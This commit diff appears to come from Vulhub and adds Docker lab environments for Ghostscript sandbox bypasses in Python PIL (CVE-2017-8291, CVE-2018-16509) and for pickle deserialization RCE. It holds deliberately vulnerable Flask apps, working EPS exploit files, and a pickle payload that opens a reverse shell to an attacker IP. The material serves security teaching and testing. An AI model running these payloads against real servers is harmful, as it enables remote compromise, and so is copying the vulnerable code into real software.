first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
This commit is contained in:
BIN
python/PIL-CVE-2017-8291/01.png
Normal file
BIN
python/PIL-CVE-2017-8291/01.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 5.1 KiB |
61
python/PIL-CVE-2017-8291/README.md
Normal file
61
python/PIL-CVE-2017-8291/README.md
Normal file
@@ -0,0 +1,61 @@
|
||||
# Python PIL/Pillow Remote Command Execution (GhostButt / CVE-2017-8291)
|
||||
|
||||
[中文版本(Chinese version)](README.zh-cn.md)
|
||||
|
||||
Python PIL (Pillow) is a popular image processing library for Python. It supports various image formats and provides powerful image manipulation capabilities.
|
||||
|
||||
The Python image processing module PIL (Pillow) is affected by the GhostButt vulnerability (CVE-2017-8291) because it internally calls GhostScript to process EPS images. This vulnerability allows attackers to execute arbitrary commands on the target system.
|
||||
|
||||
When PIL processes an image, it determines the image type based on the file header (Magic Bytes). If it identifies an EPS file (header starting with `%!PS`), it passes the file to `PIL/EpsImagePlugin.py` for processing.
|
||||
|
||||
In this module, PIL calls the system's GhostScript command (`gs`) to process the image file:
|
||||
|
||||
```python
|
||||
command = ["gs",
|
||||
"-q", # quiet mode
|
||||
"-g%dx%d" % size, # set output geometry (pixels)
|
||||
"-r%fx%f" % res, # set input DPI (dots per inch)
|
||||
"-dBATCH", # exit after processing
|
||||
"-dNOPAUSE", # don't pause between pages,
|
||||
"-dSAFER", # safe mode
|
||||
"-sDEVICE=ppmraw", # ppm driver
|
||||
"-sOutputFile=%s" % outfile, # output file
|
||||
"-c", "%d %d translate" % (-bbox[0], -bbox[1]),
|
||||
# adjust for image origin
|
||||
"-f", infile, # input file
|
||||
]
|
||||
|
||||
# Code to check if GhostScript is installed is omitted
|
||||
try:
|
||||
with open(os.devnull, 'w+b') as devnull:
|
||||
subprocess.check_call(command, stdin=devnull, stdout=devnull)
|
||||
im = Image.open(outfile)
|
||||
```
|
||||
|
||||
Although the `-dSAFER` flag is set (safe mode), a sandbox bypass vulnerability in GhostScript (GhostButt CVE-2017-8291) allows this safety mechanism to be bypassed, enabling arbitrary command execution.
|
||||
|
||||
As of this writing, even the latest official GhostScript version 9.21 is still affected by this vulnerability. Therefore, as long as GhostScript is installed on the operating system, PIL is vulnerable to command execution.
|
||||
|
||||
References:
|
||||
|
||||
- [Exploiting Python PIL Module Command Execution Vulnerability](http://blog.neargle.com/2017/09/28/Exploiting-Python-PIL-Module-Command-Execution-Vulnerability/)
|
||||
- [CVE-2017-8291 Details](https://nvd.nist.gov/vuln/detail/CVE-2017-8291)
|
||||
- [GhostScript Security Advisory](https://www.ghostscript.com/security-advisories.html)
|
||||
|
||||
## Environment Setup
|
||||
|
||||
Execute following command to start a web application that is vulnerable to the CVE-2017-8291 vulnerability:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
After starting, visit `http://your-ip:8000/` to access the upload page.
|
||||
|
||||
## Vulnerability Exploitation
|
||||
|
||||
The normal functionality of this application allows users to upload a PNG file. The backend uses PIL to load the image and output its dimensions. However, we can exploit this by changing the extension of an executable EPS file to PNG and uploading it. Since the backend determines the image type based on the file header rather than the extension, the file extension check can be bypassed.
|
||||
|
||||
For example, we can upload [poc.png](poc.png), which will execute the command `touch /tmp/aaaaa` on the server. By modifying the command in the POC to a reverse shell command, we can obtain shell access to the server:
|
||||
|
||||

|
59
python/PIL-CVE-2017-8291/README.zh-cn.md
Normal file
59
python/PIL-CVE-2017-8291/README.zh-cn.md
Normal file
@@ -0,0 +1,59 @@
|
||||
# Python PIL 远程命令执行漏洞(GhostButt / CVE-2017-8291)
|
||||
|
||||
Python PIL(Pillow)是一个流行的 Python 图像处理库,支持多种图像格式并提供强大的图像处理功能。
|
||||
|
||||
Python 中处理图片的模块 PIL(Pillow),因为其内部调用了 GhostScript 而受到 GhostButt 漏洞(CVE-2017-8291)的影响,造成远程命令执行漏洞。
|
||||
|
||||
PIL 内部根据图片头(Magic Bytes)判断图片类型,如果发现是一个 EPS 文件(头为 `%!PS`),则分发给 `PIL/EpsImagePlugin.py` 处理。
|
||||
|
||||
在这个模块中,PIL 调用了系统的 gs 命令,也就是 GhostScript 来处理图片文件:
|
||||
|
||||
```python
|
||||
command = ["gs",
|
||||
"-q", # quiet mode
|
||||
"-g%dx%d" % size, # set output geometry (pixels)
|
||||
"-r%fx%f" % res, # set input DPI (dots per inch)
|
||||
"-dBATCH", # exit after processing
|
||||
"-dNOPAUSE", # don't pause between pages,
|
||||
"-dSAFER", # safe mode
|
||||
"-sDEVICE=ppmraw", # ppm driver
|
||||
"-sOutputFile=%s" % outfile, # output file
|
||||
"-c", "%d %d translate" % (-bbox[0], -bbox[1]),
|
||||
# adjust for image origin
|
||||
"-f", infile, # input file
|
||||
]
|
||||
|
||||
# 省略判断是否安装 GhostScript 的代码
|
||||
try:
|
||||
with open(os.devnull, 'w+b') as devnull:
|
||||
subprocess.check_call(command, stdin=devnull, stdout=devnull)
|
||||
im = Image.open(outfile)
|
||||
```
|
||||
|
||||
虽然设置了 `-dSAFER`,也就是安全模式,但因为 GhostScript 的一个沙盒绕过漏洞(GhostButt CVE-2017-8291),导致这个安全模式被绕过,可以执行任意命令。
|
||||
|
||||
另外,截至目前,GhostScript 官方最新版 9.21 仍然受到这个漏洞影响,所以可以说:只要操作系统上安装了 GhostScript,PIL 就存在命令执行漏洞。
|
||||
|
||||
参考链接:
|
||||
|
||||
- [Exploiting Python PIL Module Command Execution Vulnerability](http://blog.neargle.com/2017/09/28/Exploiting-Python-PIL-Module-Command-Execution-Vulnerability/)
|
||||
- [CVE-2017-8291 详情](https://nvd.nist.gov/vuln/detail/CVE-2017-8291)
|
||||
- [GhostScript 安全公告](https://www.ghostscript.com/security-advisories.html)
|
||||
|
||||
## 环境搭建
|
||||
|
||||
执行如下命令启动一个存在漏洞的Web应用,其中使用了PIL处理用户上传的文件:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
环境启动后,访问 `http://your-ip:8000/` 即可看到一个上传页面。
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
该应用的正常功能是允许用户上传一个 PNG 文件,后端调用 PIL 加载图片,输出图片的长宽。但我们可以将可执行命令的 EPS 文件后缀改成 PNG 进行上传,因为后端是根据文件头来判断图片类型,所以能够绕过后缀检查。
|
||||
|
||||
例如,我们可以上传 [poc.png](poc.png),该文件会在服务器上执行 `touch /tmp/aaaaa` 命令。通过将 POC 中的命令修改为反弹 shell 命令,我们可以获得服务器的 shell 访问权限:
|
||||
|
||||

|
72
python/PIL-CVE-2017-8291/app.py
Normal file
72
python/PIL-CVE-2017-8291/app.py
Normal file
@@ -0,0 +1,72 @@
|
||||
'''get image size app'''
|
||||
# coding=utf-8
|
||||
|
||||
import os
|
||||
from flask import Flask, request, redirect, flash, render_template_string, get_flashed_messages
|
||||
from PIL import Image
|
||||
from werkzeug.utils import secure_filename
|
||||
|
||||
UPLOAD_FOLDER = '/tmp'
|
||||
ALLOWED_EXTENSIONS = set(['png'])
|
||||
|
||||
app = Flask(__name__)
|
||||
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
|
||||
app.secret_key = 'test'
|
||||
|
||||
def get_img_size(filepath=""):
|
||||
'''获取图片长宽'''
|
||||
try:
|
||||
img = Image.open(filepath)
|
||||
img.load()
|
||||
return img.size
|
||||
except:
|
||||
return (0, 0)
|
||||
|
||||
def allowed_file(filename):
|
||||
'''判断文件后缀是否合法'''
|
||||
return '.' in filename and \
|
||||
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
|
||||
|
||||
@app.route('/', methods=['GET', 'POST'])
|
||||
def upload_file():
|
||||
'''文件上传app'''
|
||||
if request.method == 'POST':
|
||||
if 'file' not in request.files:
|
||||
flash('No file part')
|
||||
return redirect(request.url)
|
||||
image_file = request.files['file']
|
||||
if image_file.filename == '':
|
||||
flash('No selected file')
|
||||
return redirect(request.url)
|
||||
if not allowed_file(image_file.filename):
|
||||
flash('File type don\'t allowed')
|
||||
return redirect(request.url)
|
||||
if image_file:
|
||||
filename = secure_filename(image_file.filename)
|
||||
img_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
|
||||
image_file.save(img_path)
|
||||
height, width = get_img_size(img_path)
|
||||
return '<html><body>the image\'s height : {}, width : {}; </body></html>'\
|
||||
.format(height, width)
|
||||
|
||||
return render_template_string('''
|
||||
<!doctype html>
|
||||
<title>Upload new File</title>
|
||||
<h1>Upload new File</h1>
|
||||
{% with messages = get_flashed_messages() %}
|
||||
{% if messages %}
|
||||
<ul class=flashes>
|
||||
{% for message in messages %}
|
||||
<li>{{ message }}</li>
|
||||
{% endfor %}
|
||||
</ul>
|
||||
{% endif %}
|
||||
{% endwith %}
|
||||
<form method=post enctype=multipart/form-data>
|
||||
<p><input type=file name=file>
|
||||
<input type=submit value=Upload>
|
||||
</form>
|
||||
''')
|
||||
|
||||
if __name__ == '__main__':
|
||||
app.run(threaded=True, port=8000, host="0.0.0.0")
|
9
python/PIL-CVE-2017-8291/docker-compose.yml
Normal file
9
python/PIL-CVE-2017-8291/docker-compose.yml
Normal file
@@ -0,0 +1,9 @@
|
||||
version: '2'
|
||||
services:
|
||||
web:
|
||||
image: vulhub/ghostscript:9.21-with-flask
|
||||
command: python app.py
|
||||
volumes:
|
||||
- ./app.py:/usr/src/app.py
|
||||
ports:
|
||||
- "8000:8000"
|
100
python/PIL-CVE-2017-8291/poc.png
Normal file
100
python/PIL-CVE-2017-8291/poc.png
Normal file
@@ -0,0 +1,100 @@
|
||||
%!PS-Adobe-3.0 EPSF-3.0
|
||||
%%BoundingBox: -0 -0 100 100
|
||||
|
||||
|
||||
/size_from 10000 def
|
||||
/size_step 500 def
|
||||
/size_to 65000 def
|
||||
/enlarge 1000 def
|
||||
|
||||
%/bigarr 65000 array def
|
||||
|
||||
0
|
||||
size_from size_step size_to {
|
||||
pop
|
||||
1 add
|
||||
} for
|
||||
|
||||
/buffercount exch def
|
||||
|
||||
/buffersizes buffercount array def
|
||||
|
||||
|
||||
0
|
||||
size_from size_step size_to {
|
||||
buffersizes exch 2 index exch put
|
||||
1 add
|
||||
} for
|
||||
pop
|
||||
|
||||
/buffers buffercount array def
|
||||
|
||||
0 1 buffercount 1 sub {
|
||||
/ind exch def
|
||||
buffersizes ind get /cursize exch def
|
||||
cursize string /curbuf exch def
|
||||
buffers ind curbuf put
|
||||
cursize 16 sub 1 cursize 1 sub {
|
||||
curbuf exch 255 put
|
||||
} for
|
||||
} for
|
||||
|
||||
|
||||
/buffersearchvars [0 0 0 0 0] def
|
||||
/sdevice [0] def
|
||||
|
||||
enlarge array aload
|
||||
|
||||
{
|
||||
.eqproc
|
||||
buffersearchvars 0 buffersearchvars 0 get 1 add put
|
||||
buffersearchvars 1 0 put
|
||||
buffersearchvars 2 0 put
|
||||
buffercount {
|
||||
buffers buffersearchvars 1 get get
|
||||
buffersizes buffersearchvars 1 get get
|
||||
16 sub get
|
||||
254 le {
|
||||
buffersearchvars 2 1 put
|
||||
buffersearchvars 3 buffers buffersearchvars 1 get get put
|
||||
buffersearchvars 4 buffersizes buffersearchvars 1 get get 16 sub put
|
||||
} if
|
||||
buffersearchvars 1 buffersearchvars 1 get 1 add put
|
||||
} repeat
|
||||
|
||||
buffersearchvars 2 get 1 ge {
|
||||
exit
|
||||
} if
|
||||
%(.) print
|
||||
} loop
|
||||
|
||||
.eqproc
|
||||
.eqproc
|
||||
.eqproc
|
||||
sdevice 0
|
||||
currentdevice
|
||||
buffersearchvars 3 get buffersearchvars 4 get 16#7e put
|
||||
buffersearchvars 3 get buffersearchvars 4 get 1 add 16#12 put
|
||||
buffersearchvars 3 get buffersearchvars 4 get 5 add 16#ff put
|
||||
put
|
||||
|
||||
|
||||
buffersearchvars 0 get array aload
|
||||
|
||||
sdevice 0 get
|
||||
16#3e8 0 put
|
||||
|
||||
sdevice 0 get
|
||||
16#3b0 0 put
|
||||
|
||||
sdevice 0 get
|
||||
16#3f0 0 put
|
||||
|
||||
|
||||
currentdevice null false mark /OutputFile (%pipe%touch /tmp/aaaaa)
|
||||
.putdeviceparams
|
||||
1 true .outputpage
|
||||
.rsdparams
|
||||
%{ } loop
|
||||
0 0 .quit
|
||||
%asdf
|
92
python/PIL-CVE-2018-16509/README.md
Normal file
92
python/PIL-CVE-2018-16509/README.md
Normal file
@@ -0,0 +1,92 @@
|
||||
# Python PIL/Pillow Remote Command Execution (CVE-2018-16509)
|
||||
|
||||
[中文文档](README.zh-cn.md)
|
||||
|
||||
PIL/Pillow is a widely used image processing library in Python.
|
||||
|
||||
In Ghostscript versions prior to 9.24, there exists a -dSAFER sandbox bypass vulnerability (CVE-2018-16509). Incorrect "restoration of privilege" checking during handling of /invalidaccess exceptions could be used by attackers able to supply crafted PostScript to execute code using the "pipe" instruction.
|
||||
|
||||
This vulnerability affects various applications that use Ghostscript for image processing, including Python's PIL/Pillow library. When an application uses PIL/Pillow to process user-uploaded images and the environment has a vulnerable version of Ghostscript installed, it may lead to remote command execution.
|
||||
|
||||
References:
|
||||
|
||||
- [Ghostscript: -dSAFER bypass (CVE-2018-16509)](https://seclists.org/oss-sec/2018/q3/142)
|
||||
- [PIL/Pillow EPS Image Processing](https://github.com/python-pillow/Pillow/blob/0adeb82e9886cdedb3917e8ddfaf46f69556a991/src/PIL/EpsImagePlugin.py)
|
||||
- [Ghostscript Sandbox Bypass Analysis](https://paper.seebug.org/1159/)
|
||||
|
||||
## Environment Setup
|
||||
|
||||
Execute the following command to start a vulnerable Flask application (using Ghostscript 9.23):
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
After the environment is started, visit `http://your-ip:8000` to see a simple image upload page.
|
||||
|
||||
## Vulnerability Reproduction
|
||||
|
||||
Prepare a malicious EPS file (provided as `rce.jpg` in this environment) with the following content:
|
||||
|
||||
```
|
||||
%!PS-Adobe-3.0 EPSF-3.0
|
||||
%%BoundingBox: -0 -0 100 100
|
||||
|
||||
userdict /setpagedevice undef
|
||||
save
|
||||
legal
|
||||
{ null restore } stopped { pop } if
|
||||
{ legal } stopped { pop } if
|
||||
restore
|
||||
mark /OutputFile (%pipe%touch /tmp/got_rce) currentdevice putdeviceprops
|
||||
```
|
||||
|
||||
Visit `http://your-ip:8000` and upload this file.
|
||||
|
||||
After uploading, the server will process this image using PIL/Pillow, and when the `resize` function is called, it will trigger the vulnerability and execute the `touch /tmp/got_rce` command.
|
||||
|
||||
Execute the following command to verify if the vulnerability has been successfully exploited:
|
||||
|
||||
```
|
||||
docker compose exec web ls -la /tmp/
|
||||
```
|
||||
|
||||
If you see the `/tmp/got_rce` file, it means the command execution was successful.
|
||||
|
||||
## Vulnerability Analysis
|
||||
|
||||
The core of the vulnerability lies in PIL/Pillow calling the system's Ghostscript program when processing EPS images. In `EPSImagePlugin.py`, PIL uses `subprocess` to call Ghostscript:
|
||||
|
||||
```python
|
||||
command = ["gs",
|
||||
"-q", # quiet mode
|
||||
"-g%dx%d" % size, # set output geometry (pixels)
|
||||
"-r%fx%f" % res, # set input DPI (dots per inch)
|
||||
"-dBATCH", # exit after processing
|
||||
"-dNOPAUSE", # don't pause between pages
|
||||
"-dSAFER", # safe mode
|
||||
"-sDEVICE=ppmraw", # ppm driver
|
||||
"-sOutputFile=%s" % outfile, # output file
|
||||
"-c", "%d %d translate" % (-bbox[0], -bbox[1]),
|
||||
# adjust for image origin
|
||||
"-f", infile, # input file
|
||||
"-c", "showpage", # showpage
|
||||
]
|
||||
```
|
||||
|
||||
Although the `-dSAFER` parameter is used, Ghostscript versions prior to 9.24 have a sandbox bypass vulnerability that allows attackers to execute arbitrary commands through specially crafted PostScript code.
|
||||
|
||||
In the sample application, when an image is uploaded, it is processed as follows:
|
||||
|
||||
```python
|
||||
img = Image.open(img_path)
|
||||
w, h = img.size
|
||||
ratio = 256.0 / max(w, h)
|
||||
|
||||
resized_img = img.resize((int(w * ratio), int(h * ratio)))
|
||||
resized_img.save(img_path)
|
||||
```
|
||||
|
||||
Simply calling `Image.open()` will not trigger the vulnerability, but when methods that actually need to load image data, such as `resize()` or `save()`, are called, they will trigger the Ghostscript call and execute malicious commands.
|
||||
|
||||
To fix this vulnerability, you need to update Ghostscript to version 9.24 or higher, or disable EPS image processing functionality when using PIL/Pillow to process user-uploaded images.
|
90
python/PIL-CVE-2018-16509/README.zh-cn.md
Normal file
90
python/PIL-CVE-2018-16509/README.zh-cn.md
Normal file
@@ -0,0 +1,90 @@
|
||||
# Python PIL/Pillow 远程命令执行漏洞 (CVE-2018-16509)
|
||||
|
||||
[English](README.md)
|
||||
|
||||
PIL/Pillow 是 Python 中广泛使用的图像处理库。
|
||||
|
||||
在 Ghostscript 9.24 版本之前,存在一个 -dSAFER 沙盒绕过漏洞(CVE-2018-16509),攻击者可以通过构造恶意的图片文件,在图片处理过程中执行任意命令。这个漏洞影响了使用 Ghostscript 进行图像处理的多种应用,包括 Python 的 PIL/Pillow 库。当应用程序使用 PIL/Pillow 处理用户上传的图片时,若环境中安装了存在漏洞的 Ghostscript,则可能导致远程命令执行。
|
||||
|
||||
参考链接:
|
||||
|
||||
- [Ghostscript: -dSAFER bypass (CVE-2018-16509)](https://seclists.org/oss-sec/2018/q3/142)
|
||||
- [PIL/Pillow EPS Image Processing](https://github.com/python-pillow/Pillow/blob/0adeb82e9886cdedb3917e8ddfaf46f69556a991/src/PIL/EpsImagePlugin.py)
|
||||
- [Ghostscript 沙箱绕过漏洞分析](https://paper.seebug.org/1159/)
|
||||
|
||||
## 环境搭建
|
||||
|
||||
执行如下命令启动一个包含漏洞的 Flask 应用(使用 Ghostscript 9.23 版本):
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
环境启动后,访问 `http://your-ip:8000` 即可看到一个简单的图片上传页面。
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
准备一个恶意的 EPS 文件(本环境中已提供 `rce.jpg`),其内容如下:
|
||||
|
||||
```
|
||||
%!PS-Adobe-3.0 EPSF-3.0
|
||||
%%BoundingBox: -0 -0 100 100
|
||||
|
||||
userdict /setpagedevice undef
|
||||
save
|
||||
legal
|
||||
{ null restore } stopped { pop } if
|
||||
{ legal } stopped { pop } if
|
||||
restore
|
||||
mark /OutputFile (%pipe%touch /tmp/got_rce) currentdevice putdeviceprops
|
||||
```
|
||||
|
||||
访问 `http://your-ip:8000`,上传这个文件。
|
||||
|
||||
上传后,服务器会使用 PIL/Pillow 处理这个图片,在调用 `resize` 函数时会触发漏洞,执行 `touch /tmp/got_rce` 命令。
|
||||
|
||||
执行以下命令验证漏洞是否成功利用:
|
||||
|
||||
```
|
||||
docker compose exec web ls -la /tmp/
|
||||
```
|
||||
|
||||
如果看到 `/tmp/got_rce` 文件,则说明命令执行成功。
|
||||
|
||||
## 漏洞分析
|
||||
|
||||
漏洞的核心在于 PIL/Pillow 在处理 EPS 图像时会调用系统的 Ghostscript 程序。在 `EPSImagePlugin.py` 中,PIL 使用 `subprocess` 调用 Ghostscript:
|
||||
|
||||
```python
|
||||
command = ["gs",
|
||||
"-q", # quiet mode
|
||||
"-g%dx%d" % size, # set output geometry (pixels)
|
||||
"-r%fx%f" % res, # set input DPI (dots per inch)
|
||||
"-dBATCH", # exit after processing
|
||||
"-dNOPAUSE", # don't pause between pages
|
||||
"-dSAFER", # safe mode
|
||||
"-sDEVICE=ppmraw", # ppm driver
|
||||
"-sOutputFile=%s" % outfile, # output file
|
||||
"-c", "%d %d translate" % (-bbox[0], -bbox[1]),
|
||||
# adjust for image origin
|
||||
"-f", infile, # input file
|
||||
"-c", "showpage", # showpage
|
||||
]
|
||||
```
|
||||
|
||||
虽然使用了 `-dSAFER` 参数,但 Ghostscript 9.24 版本之前存在沙盒绕过漏洞,攻击者可以通过特制的 PostScript 代码执行任意命令。
|
||||
|
||||
在示例应用中,当图片上传后,会进行如下处理:
|
||||
|
||||
```python
|
||||
img = Image.open(img_path)
|
||||
w, h = img.size
|
||||
ratio = 256.0 / max(w, h)
|
||||
|
||||
resized_img = img.resize((int(w * ratio), int(h * ratio)))
|
||||
resized_img.save(img_path)
|
||||
```
|
||||
|
||||
仅调用 `Image.open()` 不会触发漏洞,但当调用 `resize()` 或 `save()` 等需要实际加载图片数据的方法时,会触发 Ghostscript 的调用,从而执行恶意命令。
|
||||
|
||||
要修复此漏洞,需要更新 Ghostscript 到 9.24 或更高版本,或者在使用 PIL/Pillow 处理用户上传的图片时,禁用 EPS 图像处理功能。
|
66
python/PIL-CVE-2018-16509/app.py
Normal file
66
python/PIL-CVE-2018-16509/app.py
Normal file
@@ -0,0 +1,66 @@
|
||||
from flask import Flask, flash, get_flashed_messages, make_response, redirect, render_template_string, request
|
||||
from os import path, unlink
|
||||
from PIL import Image
|
||||
|
||||
import tempfile
|
||||
|
||||
app = Flask(__name__)
|
||||
app.secret_key = "0123456789ABCDEF"
|
||||
|
||||
@app.route('/', methods=['GET', 'POST'])
|
||||
def upload_file():
|
||||
if request.method == 'POST':
|
||||
file = request.files.get('image', None)
|
||||
|
||||
if not file:
|
||||
flash('No image found')
|
||||
return redirect(request.url)
|
||||
|
||||
filename = file.filename
|
||||
ext = path.splitext(filename)[1]
|
||||
|
||||
if (ext not in ['.jpg', '.jpeg', '.png', '.gif', '.bmp']):
|
||||
flash('Invalid extension')
|
||||
return redirect(request.url)
|
||||
|
||||
tmp = tempfile.mktemp("test")
|
||||
img_path = "{}.{}".format(tmp, ext)
|
||||
|
||||
file.save(img_path)
|
||||
|
||||
img = Image.open(img_path)
|
||||
w, h = img.size
|
||||
ratio = 256.0 / max(w, h)
|
||||
|
||||
resized_img = img.resize((int(w * ratio), int(h * ratio)))
|
||||
resized_img.save(img_path)
|
||||
|
||||
r = make_response()
|
||||
r.data = open(img_path, "rb").read()
|
||||
r.headers['Content-Disposition'] = 'attachment; filename=resized_{}'.format(filename)
|
||||
|
||||
unlink(img_path)
|
||||
|
||||
return r
|
||||
|
||||
return render_template_string('''
|
||||
<!doctype html>
|
||||
<title>Image Resizer</title>
|
||||
<h1>Upload an Image to Resize</h1>
|
||||
{% with messages = get_flashed_messages() %}
|
||||
{% if messages %}
|
||||
<ul class=flashes>
|
||||
{% for message in messages %}
|
||||
<li>{{ message }}</li>
|
||||
{% endfor %}
|
||||
</ul>
|
||||
{% endif %}
|
||||
{% endwith %}
|
||||
<form method=post enctype=multipart/form-data>
|
||||
<p><input type=file name=image>
|
||||
<input type=submit value=Upload>
|
||||
</form>
|
||||
''')
|
||||
|
||||
if __name__ == '__main__':
|
||||
app.run(threaded=True, port=8000, host="0.0.0.0")
|
9
python/PIL-CVE-2018-16509/docker-compose.yml
Normal file
9
python/PIL-CVE-2018-16509/docker-compose.yml
Normal file
@@ -0,0 +1,9 @@
|
||||
version: '2'
|
||||
services:
|
||||
web:
|
||||
image: vulhub/ghostscript:9.23-with-flask
|
||||
command: python app.py
|
||||
volumes:
|
||||
- ./app.py:/usr/src/app.py
|
||||
ports:
|
||||
- "8000:8000"
|
10
python/PIL-CVE-2018-16509/rce.jpg
Normal file
10
python/PIL-CVE-2018-16509/rce.jpg
Normal file
@@ -0,0 +1,10 @@
|
||||
%!PS-Adobe-3.0 EPSF-3.0
|
||||
%%BoundingBox: -0 -0 100 100
|
||||
|
||||
userdict /setpagedevice undef
|
||||
save
|
||||
legal
|
||||
{ null restore } stopped { pop } if
|
||||
{ legal } stopped { pop } if
|
||||
restore
|
||||
mark /OutputFile (%pipe%touch /tmp/got_rce) currentdevice putdeviceprops
|
BIN
python/unpickle/1.png
Normal file
BIN
python/unpickle/1.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 38 KiB |
14
python/unpickle/Dockerfile
Normal file
14
python/unpickle/Dockerfile
Normal file
@@ -0,0 +1,14 @@
|
||||
FROM python:latest
|
||||
|
||||
LABEL maintainer="phithon <root@leavesongs.com>"
|
||||
|
||||
COPY requirements.txt /tmp/requirements.txt
|
||||
|
||||
RUN mkdir /app \
|
||||
&& pip install -U -r /tmp/requirements.txt
|
||||
|
||||
EXPOSE 8000
|
||||
|
||||
WORKDIR /app
|
||||
|
||||
ENTRYPOINT ["gunicorn"]
|
69
python/unpickle/README.md
Normal file
69
python/unpickle/README.md
Normal file
@@ -0,0 +1,69 @@
|
||||
# Python Unpickle Deserialization Remote Code Execution
|
||||
|
||||
[中文版本(Chinese version)](README.zh-cn.md)
|
||||
|
||||
Python's pickle module is a popular serialization/deserialization tool that converts Python objects into byte streams and vice versa. However, when untrusted data is deserialized using pickle, it can lead to arbitrary code execution.
|
||||
|
||||
This vulnerability occurs when an application deserializes user-controlled data using the pickle module without proper validation. An attacker can craft a malicious serialized object that, when deserialized, executes arbitrary commands on the target system.
|
||||
|
||||
References:
|
||||
|
||||
- http://rickgray.me/2015/09/12/django-command-execution-analysis.html
|
||||
- https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html
|
||||
- https://docs.python.org/3/library/pickle.html#pickle.loads
|
||||
- https://intoli.com/blog/dangerous-pickles/
|
||||
|
||||
## Environment Setup
|
||||
|
||||
Execute the following command to start the vulnerable Flask application:
|
||||
|
||||
```
|
||||
docker compose build
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
After the server is started, you can access `http://your-ip:8000` in your browser. The page will display `Hello {username}!`, where username is retrieved from the 'user' cookie. The application performs base64 decoding and deserialization on this cookie to extract the "username" variable. If no valid cookie is found, it defaults to "Guest".
|
||||
|
||||
The vulnerable code in app.py looks like this:
|
||||
|
||||
```python
|
||||
@app.route("/")
|
||||
def index():
|
||||
try:
|
||||
user = base64.b64decode(request.cookies.get('user'))
|
||||
user = pickle.loads(user)
|
||||
username = user["username"]
|
||||
except:
|
||||
username = "Guest"
|
||||
|
||||
return "Hello %s" % username
|
||||
```
|
||||
|
||||
## Vulnerability Reproduction
|
||||
|
||||
To exploit this vulnerability, we need to create a malicious pickle object that will execute arbitrary commands when deserialized. The exploit uses Python's `__reduce__` method to specify what function to call when the object is unpickled.
|
||||
|
||||
The provided exploit script (exp.py) creates a malicious pickle object that establishes a reverse shell connection to the attacker's machine:
|
||||
|
||||
```python
|
||||
class exp(object):
|
||||
def __reduce__(self):
|
||||
s = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.18.0.1",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'"""
|
||||
return (os.system, (s,))
|
||||
```
|
||||
|
||||
To execute the exploit, first set up a netcat listener on your machine to receive the reverse shell:
|
||||
|
||||
```
|
||||
nc -lvp 80
|
||||
```
|
||||
|
||||
Then run the exploit script to send the malicious cookie to the vulnerable application:
|
||||
|
||||
```
|
||||
python3 exp.py
|
||||
```
|
||||
|
||||
When the server deserializes the malicious pickle object, it will execute the command and establish a reverse shell connection to your machine:
|
||||
|
||||

|
67
python/unpickle/README.zh-cn.md
Normal file
67
python/unpickle/README.zh-cn.md
Normal file
@@ -0,0 +1,67 @@
|
||||
# Python Unpickle 反序列化远程代码执行漏洞
|
||||
|
||||
Python的pickle模块是一个流行的序列化/反序列化工具,可以将Python对象转换为字节流,反之亦然。然而,当使用pickle反序列化不受信任的数据时,可能导致任意代码执行。
|
||||
|
||||
当应用程序在没有适当验证的情况下使用pickle模块反序列化用户可控数据时,就会出现此漏洞。攻击者可以构造恶意序列化对象,在反序列化时在目标系统上执行任意命令。
|
||||
|
||||
参考链接:
|
||||
|
||||
- http://rickgray.me/2015/09/12/django-command-execution-analysis.html
|
||||
- https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html
|
||||
- https://docs.python.org/3/library/pickle.html#pickle.loads
|
||||
- https://intoli.com/blog/dangerous-pickles/
|
||||
|
||||
## 环境搭建
|
||||
|
||||
执行以下命令启动存在漏洞的Flask应用:
|
||||
|
||||
```
|
||||
docker compose build
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
环境启动后,可以在浏览器中访问`http://your-ip:8000`。页面将显示`Hello {username}!`,其中username是从'user' cookie中获取的。应用程序对此cookie执行base64解码和反序列化以提取"username"变量。如果没有找到有效的cookie,则默认为"Guest"。
|
||||
|
||||
app.py中的漏洞代码如下:
|
||||
|
||||
```python
|
||||
@app.route("/")
|
||||
def index():
|
||||
try:
|
||||
user = base64.b64decode(request.cookies.get('user'))
|
||||
user = pickle.loads(user)
|
||||
username = user["username"]
|
||||
except:
|
||||
username = "Guest"
|
||||
|
||||
return "Hello %s" % username
|
||||
```
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
要利用此漏洞,我们需要创建一个恶意的pickle对象,该对象在反序列化时将执行任意命令。该利用使用Python的`__reduce__`方法来指定对象被反序列化时要调用的函数。
|
||||
|
||||
提供的利用脚本(exp.py)创建了一个恶意pickle对象,该对象建立与攻击者机器的反向shell连接:
|
||||
|
||||
```python
|
||||
class exp(object):
|
||||
def __reduce__(self):
|
||||
s = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.18.0.1",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'"""
|
||||
